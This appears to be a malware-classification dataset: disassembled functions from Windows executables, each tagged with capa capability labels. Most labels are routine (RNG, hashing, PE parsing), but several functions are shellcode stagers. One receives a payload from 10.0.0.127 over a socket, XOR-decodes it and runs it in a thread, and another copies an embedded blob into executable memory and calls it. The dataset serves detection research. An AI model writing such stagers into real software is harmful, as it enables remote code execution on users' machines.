joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14008d980
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rdi, rdx
movzx ebx, byte [rdx + 0x38]
xor r15d, r15d
cmp bl, 1
setne dl
mov eax, 0
sbb eax, eax
mov r14, rcx
or al, dl
movzx ecx, al
cmp cl, 0xff
je 0x14008d9b3
test ecx, ecx
jne 0x14008da02
movzx r15d, byte [rdi + 0x3a]
cmp al, 0xff
je 0x14008d9c0
test ecx, ecx
jne 0x14008da02
mov rcx, rdi
call fcn.14008d860
movzx r10d, al
test bl, bl
jne 0x14008da09
lea rax, [rdi + 0x10]
xor esi, esi
cmp byte [rdi + 0x10], 6
cmove rax, rsi
je case.0x14008d9f6.2
movzx ecx, byte [rax]
mov esi, 6
lea rdx, [0x14008db7c]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov rsi, qword [rax + 0x10]
add rsi, 4
jmp case.0x14008d9f6.2
xor r10d, r10d
test bl, bl
je 0x14008d9d0
xor esi, esi
movzx eax, r15b
lea rcx, [r10 + rax]
add rcx, rsi
mov rdx, qword [rdi + 8]
cmp rdx, rcx
jb 0x14008db5e
mov r11, qword [rdi]
lea r9, [r11 + rcx]
cmp rdx, rcx
jne 0x14008da3b
movzx r8d, byte [rdi + 0x10]
xor edi, edi
jmp 0x14008dab8
movzx r8d, byte [rdi + 0x10]
add rsi, r10
add rsi, rax
sub rsi, rdx
inc rsi
lea rax, [rdx + r11]
dec rax
xor edi, edi
cmp r8b, 3
jae 0x14008da80
nop dword [rax + rax]
cmp byte [rax], 0x5c
je 0x14008da9b
inc rsi
dec rax
cmp rsi, 1
jne 0x14008da60
jmp 0x14008dab8
movzx ebx, byte [rax]
cmp ebx, 0x2f
je 0x14008da9b
cmp ebx, 0x5c
je 0x14008da9b
inc rsi
dec rax
cmp rsi, 1
jne 0x14008da80
jmp 0x14008dab8
neg rsi
add rcx, rsi
inc rcx
cmp rdx, rcx
jb 0x14008db6c
add r11, rcx
mov edi, 1
mov r9, r11
sub rdx, rcx
je 0x14008dae2
mov al, 9
cmp rdx, 2
je 0x14008dae6
cmp rdx, 1
jne 0x14008daf6
cmp byte [r9], 0x2e
jne 0x14008daf6
xor eax, eax
cmp r8b, 3
setae al
lea eax, [rax + rax*2]
add eax, 7
jmp 0x14008daf6
mov al, 0xa
jmp 0x14008daf6
cmp byte [r9], 0x2e
jne 0x14008daf6
cmp byte [r9 + 1], 0x2e
sete al
xor al, 9
add rdi, rdx
mov qword [r14], rdi
mov qword [r14 + 8], r9
mov qword [r14 + 0x10], rdx
mov byte [r14 + 0x18], al
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rcx, qword [rax + 0x10]
mov rax, qword [rax + 0x20]
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
lea rsi, [rcx + rdx]
add rsi, 8
jmp case.0x14008d9f6.2
mov rcx, qword [rax + 0x10]
mov rax, qword [rax + 0x20]
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
lea rsi, [rcx + rdx]
add rsi, 2
jmp case.0x14008d9f6.2
mov esi, 2
jmp case.0x14008d9f6.2
lea r8, str.library_std_srcpath.rs
call fcn.1400b0290
ud2
lea r8, str.library_std_srcpath.rs
call fcn.1400b0290
ud2
Function at 0x140092d90
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
mov edx, send
call qword [sym.imp.ADVAPI32.dll_SystemFunction036]
test al, al
je 0x140092dd3
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
add rsp, 0x80
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x30], rax
lea rax, [fcn.14008eef0]
mov qword [rbp - 0x28], rax
lea rax, str.fallback_RNG_broken:
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
mov qword [rbp - 0x60], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
lea rdx, str.library_std_src_syswindows_rand.rs
lea rcx, [rbp - 0x60]
call fcn.1400b01d0
ud2

Function at 0x1400968f0
Capabilities:
Generate random numbers via winapi

Disassembly:
sub rsp, 0x38
test rcx, rcx
je 0x140096911
mov r8, qword [rcx]
mov rax, qword [rcx + 8]
mov rdx, qword [rcx + 0x10]
mov qword [rcx], 0
cmp r8, 1
je 0x140096947
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rdx, [rsp + 0x20]
xor ecx, ecx
mov r8d, send
mov r9d, 2
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
test eax, eax
js 0x140096942
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
jmp 0x140096947
call fcn.140092d90
mov r8d, dword [0x14014b2d0]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + r8*8]
mov qword [rcx + 0x60], 1
mov qword [rcx + 0x68], rax
mov qword [rcx + 0x70], rdx
add rsp, 0x38
ret

Function at 0x1400978a1
Capabilities:
Hash data using fnv

Disassembly:
mov r9, qword [rcx]
xor r11d, r11d
movabs r10, 0x100000001b3
cmp r8, r11
je 0x1400978c7
movzx eax, byte [rdx + r11]
xor r9, rax
imul r9, r10
inc r11
jmp 0x1400978b1
mov qword [rcx], r9
ret

Function at 0x1400a12e4
Capabilities:
Query or enumerate registry key

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
mov eax, 0x1068
call fcn.1400a14b0
sub rsp, rax
mov r14, rdx
mov r12, rcx
mov rsi, qword [rdx]
mov ebx, dword [rdx + 8]
lea r15, [rsp + 0x4c]
mov dword [r15], 0x800
lea rdi, [rsp + 0x68]
mov r8d, 0x1000
mov rcx, rdi
xor edx, edx
call fcn.1400a2c10
mov rcx, qword [rsi]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x20], xmm0
mov edx, ebx
mov r8, rdi
mov r9, r15
call sub.ADVAPI32.dll_RegEnumKeyExW
test eax, eax
je 0x1400a1356
cmp eax, 0x103
jne 0x1400a138e
and qword [r12], 0
jmp 0x1400a13c6
mov edx, dword [rsp + 0x4c]
lea r8, [0x14013b800]
lea rcx, [rsp + 0x68]
call fcn.1400a13d7
mov r8, rdx
lea rdi, [rsp + 0x50]
mov rcx, rdi
mov rdx, rax
call fcn.1400290b0
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x1400a139a
mov rax, qword [rsp + 0x50]
jmp 0x1400a13a4
shl rax, 0x20
or rax, 2
xor ecx, ecx
jmp 0x1400a13a9
movabs rax, 0x900000002
mov rdx, qword [rsp + 0x60]
inc ebx
mov dword [r14 + 8], ebx
mov qword [r12], 1
mov qword [r12 + 8], rax
mov qword [r12 + 0x10], rcx
mov qword [r12 + 0x18], rdx
add rsp, 0x1068
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x1400a1c74
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400a1cbe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400a1cbe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400a1cbe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400a1cbe
cmp dword [rcx + 0x84], 0xe
jbe 0x1400a1cbe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400a1cc0
xor al, al
add rsp, 0x28
ret

Function at 0x1400a5f4c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400a5d3c
Function at 0x1400a8fb0
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400a8fe0
xor eax, eax
jmp 0x1400a90a3
mov rbp, rbx
cmp word [rax], si
je 0x1400a9005
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400a8fec
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400a8fe8
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400a8f00
movsxd r14, eax
test eax, eax
jne 0x1400a9043
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400a8fd9
mov rcx, r14
call fcn.1400a9e64
mov rdi, rax
test rax, rax
jne 0x1400a905c
xor ecx, ecx
call fcn.1400a7590
jmp 0x1400a9038
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400a8f00
test eax, eax
jne 0x1400a908d
mov rcx, rdi
call fcn.1400a7590
jmp 0x1400a9097
xor ecx, ecx
call fcn.1400a7590
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400ac56c
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400a8004
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400ac5f6
cmp byte [rbp - 0x21], r15b
je 0x1400ac5f1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400ac62c
call fcn.1400aa684
test eax, eax
jne 0x1400ac618
cmp byte [rbp - 0x21], r15b
je 0x1400ac610
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400ac62c
cmp byte [rbp - 0x21], r15b
je 0x1400ac629
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400a75e0
test eax, eax
jne 0x1400ac6cc
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400a8004
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400ac66b
cmp byte [rbp - 0x21], r15b
je 0x1400ac6a0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400ac6a0
call fcn.1400aa684
test eax, eax
jne 0x1400ac68c
cmp byte [rbp - 0x21], r15b
je 0x1400ac685
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400ac6a0
cmp byte [rbp - 0x21], r15b
je 0x1400ac69d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400a75e0
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400ac6cc
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400ac6cf
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400ac6dd
mov rcx, rdi
call fcn.1400a7590
cmp byte [rbp + 0x3f], r15b
je 0x1400ac6ec
mov rcx, qword [rbp + 0x27]
call fcn.1400a7590
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400b2680
Capabilities:
Resolve dns

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x88
mov ebx, r9d
mov rsi, rcx
lea rcx, [rsp + 0x30]
call fcn.140027ea0
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x1400b26da
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
cmp qword [rsp + 0x38], 0
je 0x1400b2764
mov edx, 1
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r14
jmp fcn.1400421a0
mov rdi, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x58], 1
mov qword [rsp + 0x28], 0
lea r8, [rsp + 0x50]
lea r9, [rsp + 0x28]
mov rcx, rdi
xor edx, edx
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x1400b2739
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
jmp 0x1400b274c
mov rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], bx
xor eax, eax
mov qword [rsi], rax
mov byte [rdi], 0
test r14, r14
je 0x1400b2764
mov edx, 1
mov rcx, rdi
call fcn.1400421a0
nop
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x140001000
Capabilities:
Create thread
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x10], edx
push rdi
sub rsp, 0x30
mov rbx, rcx
xor ecx, ecx
mov edx, 0x37a
lea r9d, [rcx + 4]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, rbx
or rcx, rax
mov rdi, rax
mov rdx, rax
and ecx, 0xf
jne 0x1400010dc
mov ecx, 6
movaps xmm0, xmmword [rbx]
lea rdx, [rdx + 0x80]
lea rbx, [rbx + 0x80]
movaps xmmword [rdx - 0x80], xmm0
movaps xmm1, xmmword [rbx - 0x70]
movaps xmmword [rdx - 0x70], xmm1
movaps xmm0, xmmword [rbx - 0x60]
movaps xmmword [rdx - 0x60], xmm0
movaps xmm1, xmmword [rbx - 0x50]
movaps xmmword [rdx - 0x50], xmm1
movaps xmm0, xmmword [rbx - 0x40]
movaps xmmword [rdx - 0x40], xmm0
movaps xmm1, xmmword [rbx - 0x30]
movaps xmmword [rdx - 0x30], xmm1
movaps xmm0, xmmword [rbx - 0x20]
movaps xmmword [rdx - 0x20], xmm0
movaps xmm1, xmmword [rbx - 0x10]
movaps xmmword [rdx - 0x10], xmm1
dec rcx
jne 0x140001042
movaps xmm0, xmmword [rbx]
movaps xmmword [rdx], xmm0
movaps xmm1, xmmword [rbx + 0x10]
movaps xmmword [rdx + 0x10], xmm1
movaps xmm0, xmmword [rbx + 0x20]
movaps xmmword [rdx + 0x20], xmm0
movaps xmm1, xmmword [rbx + 0x30]
movaps xmmword [rdx + 0x30], xmm1
movaps xmm0, xmmword [rbx + 0x40]
movaps xmmword [rdx + 0x40], xmm0
movaps xmm1, xmmword [rbx + 0x50]
movaps xmmword [rdx + 0x50], xmm1
movaps xmm0, xmmword [rbx + 0x60]
movaps xmmword [rdx + 0x60], xmm0
mov rax, qword [rbx + 0x70]
mov qword [rdx + 0x70], rax
movzx eax, word [rbx + 0x78]
mov word [rdx + 0x78], ax
jmp 0x1400010ed
mov r8d, 0x37a
mov rdx, rbx
mov rcx, rax
call sub.MSVCR110.dll_memcpy
mov rax, rdi
mov ecx, 0x37a
nop word [rax + rax]
lock xor byte [rax], 0xa
lea rax, [rax + 1]
dec rcx
jne 0x140001100
lea r8d, [rcx + 0x10]
lea r9, [rsp + 0x48]
mov edx, 0x37a
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov r8, rdi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rbx, qword [rsp + 0x40]
mov eax, 1
add rsp, 0x30
pop rdi
ret
Function at 0x140001170
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push rbx
sub rsp, 0x560
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x550], rax
lea rdx, [rsp + 0x30]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400011bd
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__WSAStarup_Error_:__d__n
mov edx, eax
mov ebx, eax
call qword [sym.imp.MSVCR110.dll_printf]
mov eax, ebx
jmp 0x1400012af
mov edx, 1
mov qword [rsp + 0x570], rdi
mov edi, 2
lea r8d, [rdx + 5]
mov ecx, edi
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001202
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__Socket_Error_:__d__n
mov edx, eax
mov ebx, eax
call qword [sym.imp.MSVCR110.dll_printf]
mov eax, ebx
jmp 0x1400012a7
mov ecx, 0x22b8
mov word [rsp + 0x20], di
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.10.0.0.127
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rbx
mov dword [rsp + 0x24], eax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000125c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__Bind_Error_:__d__n
mov edx, eax
mov ebx, eax
call qword [sym.imp.MSVCR110.dll_printf]
mov eax, ebx
jmp 0x1400012a7
lea rdx, [rsp + 0x1d0]
xor r9d, r9d
mov r8d, 0x37a
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x140001292
lea rcx, str.__Recv__d_Bytes__n
mov edx, eax
call qword [sym.imp.MSVCR110.dll_printf]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rcx, [rsp + 0x1d0]
call section..text
xor eax, eax
mov rdi, qword [rsp + 0x570]
mov rcx, qword [rsp + 0x550]
xor rcx, rsp
call fcn.1400012e0
add rsp, 0x560
pop rbx
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004047e0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x004047f0]
mov dword [rax], 1
mov rax, qword [0x00404800]
mov dword [rax], 1
mov rax, qword [0x004047d0]
mov dword [rax], 1
mov rax, qword [0x004046c0]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x004047c0]
mov dword [0x00407008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00404780]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00404670]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401550
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
sub rsp, 0x3b0
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp - 0x60]
lea rdx, section..rdata
mov ecx, 0x37d
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x37d
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x328], rax
mov rax, qword [rbp + 0x328]
mov rcx, rax
lea rax, [rbp - 0x60]
mov edx, 0x37d
mov r8, rdx
mov rdx, rax
call sym.memcpy
mov rax, qword [rbp + 0x328]
call rax
mov eax, 0
add rsp, 0x3b0
pop rbp
ret
Function at 0x401b00
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00407624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x401c88
mov rax, qword [0x00407628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x401b4c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x401bd5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x401b30
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x401cbd
mov rax, qword [0x00407628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00407628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401ca0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401bce
sub eax, 0x40
and eax, 0xffffffbf
jne 0x401c30
add dword [0x00407624], 1
cmp edi, 8
jae 0x401c03
test dil, 4
jne 0x401c74
test edi, edi
je 0x401bf8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x401c8f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x401bf8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x401c1c
jmp 0x401bf8
add rsi, qword [0x00407628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401bce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x401bf8
xor esi, esi
jmp 0x401b57
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x401bf8
mov rax, qword [0x00407628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x402410
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00407900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004078e0]
test rbx, rbx
je 0x402464
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40245b
test rsi, rsi
je 0x40245b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402440
lea rcx, [0x00407900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x4026a0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x4026b0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x4026c0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402701
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x4026f8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402703
add rax, 0x28
cmp rax, r9
jne 0x4026e4
xor eax, eax
ret

Function at 0x4027a0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004046c0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x40280d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40280d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40280d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402804
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x40280f
add rax, 0x28
cmp rax, r9
jne 0x4027f0
xor eax, eax
add rsp, 0x28
ret

Function at 0x402910
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004046c0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x402930
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402928
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40298d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402984
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402994
add rax, 0x28
cmp rax, r9
jne 0x402970
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x4029b0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x004046c0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x402a1e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402a1e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x402a1e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402a1e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x402a15
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x402a25
add rcx, 0x28
cmp rcx, rax
jne 0x402a00
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x402a38
